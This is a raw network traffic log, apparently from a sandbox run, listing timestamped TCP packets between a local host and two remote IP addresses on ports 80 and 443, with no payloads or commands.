Jan 14, 2022 01:50:52.278084040 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278105974 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.278115034 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278146029 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278172970 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278202057 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.278209925 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278239965 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.278239965 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278270960 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278301001 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278327942 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.278328896 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278359890 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.278361082 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278392076 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278410912 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.278419971 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278451920 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278480053 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278497934 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.278508902 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278531075 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.278539896 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278569937 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278600931 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.319849968 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.328989983 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329054117 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329092979 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329130888 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329173088 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329202890 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329210997 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329233885 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329253912 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329293013 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329313993 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329333067 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329349995 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329374075 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329411030 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329448938 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329463959 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329488039 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329500914 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329529047 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329569101 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329603910 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329617977 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329643965 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329653978 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329684019 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329720020 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329757929 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329771042 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329796076 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329812050 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329838991 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329901934 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329941034 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329977036 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.329977989 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.329997063 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330018044 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330056906 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330070019 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330096006 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330136061 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330171108 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330188036 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330209970 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330224037 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330249071 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330285072 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330324888 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330338001 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330363989 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330372095 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330403090 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330441952 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330476999 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330492020 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330517054 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330523968 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330554962 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330590963 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330629110 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330642939 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330667019 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330679893 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330704927 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330745935 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330780983 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330796003 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.330832005 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.330840111 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.370215893 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.370265961 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.370342016 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381247997 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381309032 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381347895 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381390095 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381431103 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381453991 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381472111 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381484032 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381513119 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381531000 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381552935 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381570101 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381593943 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381633043 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381669044 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381688118 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381709099 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381726027 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381747961 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381786108 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381827116 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381828070 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381882906 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.381906033 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381943941 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381983995 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.381997108 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382023096 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382059097 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382081985 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382097006 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382134914 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382164955 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382184982 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382204056 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382213116 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382241964 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382280111 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382318020 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382337093 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382355928 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382369995 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382395983 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382432938 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382471085 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382483959 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382510900 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382518053 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382548094 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382586002 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382623911 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382639885 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382662058 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382674932 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382700920 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382738113 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382776976 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382810116 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382816076 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382839918 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382855892 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382894993 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382906914 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.382934093 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.382968903 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.383008003 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.383021116 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.383058071 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.421302080 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.421369076 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.421411037 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.421448946 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.421468973 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.421516895 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.436147928 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436209917 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436250925 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436311007 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.436359882 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436424971 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.436461926 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436501980 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436538935 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436554909 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.436578035 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436615944 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436654091 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436680079 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.436690092 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.436727047 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.436759949 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.450155973 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.502517939 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:53.871872902 CET	49723	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:53.922270060 CET	80	49723	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:53.923377037 CET	49723	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:53.923471928 CET	49723	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:53.923485041 CET	49723	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:53.974103928 CET	80	49723	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:53.977567911 CET	80	49723	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.004888058 CET	80	49723	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.007206917 CET	49723	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.007566929 CET	49723	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.058769941 CET	80	49723	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.070770979 CET	49724	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.121723890 CET	80	49724	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.121845007 CET	49724	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.121958017 CET	49724	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.121984005 CET	49724	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.172219992 CET	80	49724	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.216089010 CET	80	49724	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.216819048 CET	49724	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.217127085 CET	49724	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.268490076 CET	80	49724	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.516463995 CET	49725	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.566708088 CET	80	49725	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.566934109 CET	49725	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.567028046 CET	49725	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.567039013 CET	49725	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.617275953 CET	80	49725	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.662995100 CET	80	49725	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.663163900 CET	49725	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.663348913 CET	49725	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.682296038 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.682336092 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.682430029 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.683382988 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.683401108 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.713291883 CET	80	49725	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.754548073 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.754672050 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.756517887 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.756536961 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.756771088 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.775062084 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.792785883 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.792871952 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.793144941 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.793183088 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.793205023 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.793215990 CET	49727	443	192.168.2.3	185.233.81.115
Jan 14, 2022 01:50:54.793224096 CET	443	49727	185.233.81.115	192.168.2.3
Jan 14, 2022 01:50:54.831983089 CET	49728	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.884167910 CET	80	49728	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.889002085 CET	49728	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.889064074 CET	49728	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.889183998 CET	49728	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.940886021 CET	80	49728	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.966140985 CET	80	49728	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:54.966514111 CET	49728	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:54.975117922 CET	49728	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.026705027 CET	80	49728	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.273360968 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.324187040 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.324304104 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.324398041 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.385026932 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385083914 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385124922 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385164022 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385163069 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.385231018 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.385373116 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385412931 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385452032 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385488987 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385521889 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.385565042 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.385620117 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385703087 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.385765076 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436161041 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436218977 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436270952 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436310053 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436340094 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436348915 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436388016 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436388969 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436430931 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436467886 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436495066 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436506987 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436537027 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436547041 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436584949 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436624050 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436638117 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436661959 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436676979 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436702967 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436743021 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436779976 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436805964 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436819077 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436825037 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.436858892 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436896086 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436934948 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.436959028 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.437006950 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.487365961 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487421036 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487461090 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487499952 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487529993 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.487539053 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487567902 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.487579107 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487618923 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487644911 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.487658978 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487698078 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487736940 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487752914 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.487777948 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487792015 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.487816095 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487855911 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487895012 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487907887 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.487934113 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.487957954 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.487977028 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488013983 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488054991 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488075018 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488096952 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488101006 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488135099 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488174915 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488214016 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488226891 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488254070 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488270044 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488295078 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488336086 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488374949 CET	80	49729	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:55.488389015 CET	49729	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:55.488415003 CET	80	49729	93.189.42.167	192.168.2.3
